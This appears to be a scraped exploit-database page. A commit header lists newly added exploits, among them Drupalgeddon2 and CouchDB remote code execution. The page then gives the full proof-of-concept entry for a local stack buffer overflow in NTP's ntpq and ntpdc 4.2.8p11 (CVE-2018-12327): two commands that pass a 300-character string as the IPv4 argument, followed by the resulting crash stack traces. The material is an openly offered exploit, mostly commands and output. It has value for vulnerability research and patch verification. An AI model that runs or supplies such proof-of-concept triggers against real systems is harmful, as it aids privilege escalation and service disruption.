ac267cb298
11 changes to exploits/shellcodes Redis 5.0 - Denial of Service ntp 4.2.8p11 - Local Buffer Overflow (PoC) Windows 10 - Desktop Bridge Activation Arbitrary Directory Creation Privilege Escalation Windows 10 - Desktop Bridge Virtual Registry CVE-2018-0880 Incomplete Fix Privilege Escalation Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution Mirasys DVMS Workstation 5.12.6 - Path Traversal MaDDash 2.0.2 - Directory Listing NewMark CMS 2.1 - 'sec_id' SQL Injection TP-Link TL-WA850RE - Remote Command Execution Apache CouchDB < 2.1.0 - Remote Code Execution IPConfigure Orchid VMS 2.0.5 - Directory Traversal Information Disclosure (Metasploit) VideoInsight WebClient 5 - SQL Injection
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1.4 KiB
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26 lines
No EOL
1.4 KiB
Text
# Exploit Title: ntpq and ntpdc 4.2.8p11 Local Buffer Overflow
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# Date: 2018-06-06
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# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
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# Vendor Homepage: http://www.ntp.org/
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# Software Link: http://www.ntp.org/downloads.html
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# Version: 4.2.8p11 and earlier
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# Tested on: 4.2.8p11
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# CVE : CVE-2018-12327
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Stack-based buffer overflow in ntpq and ntpdc of NTP version 4.2.8p11 allows a local attacker to achieve code execution or escalate to higher privileges via a long string as the argument for an IPv4 or IPv6 command-line parameter.
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$ ./ntpq -4 [`python -c 'print "A" * 300’`]
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#0 0x562fcada86ce in openhost /home/user/ntp-4.2.8p11/ntpq/ntpq.c:655:12
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#1 0x562fcada5f2a in ntpqmain /home/user/ntp-4.2.8p11/ntpq/ntpq.c:606:10
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#2 0x562fcada4729 in main /home/user/ntp-4.2.8p11/ntpq/ntpq.c:469:9
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#3 0x7f79b684982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
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#4 0x562fcac96d88 in _start (/home/user/ntp-4.2.8p11/ntpq/ntpq+0xacd88)
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$ ./ntpdc -4 [`python -c 'print "A" * 300'`]
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#0 0x55f726641efe in openhost /home/user/ntp-4.2.8p11/ntpdc/ntpdc.c:413:12
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#1 0x55f7266400d4 in ntpdcmain /home/user/ntp-4.2.8p11/ntpdc/ntpdc.c:365:10
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#2 0x55f72663f269 in main /home/user/ntp-4.2.8p11/ntpdc/ntpdc.c:255:9
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#3 0x7f0fc632382f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
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#4 0x55f7265362d8 in _start (/home/user/ntp-4.2.8p11/ntpdc/ntpdc+0x9d2d8) |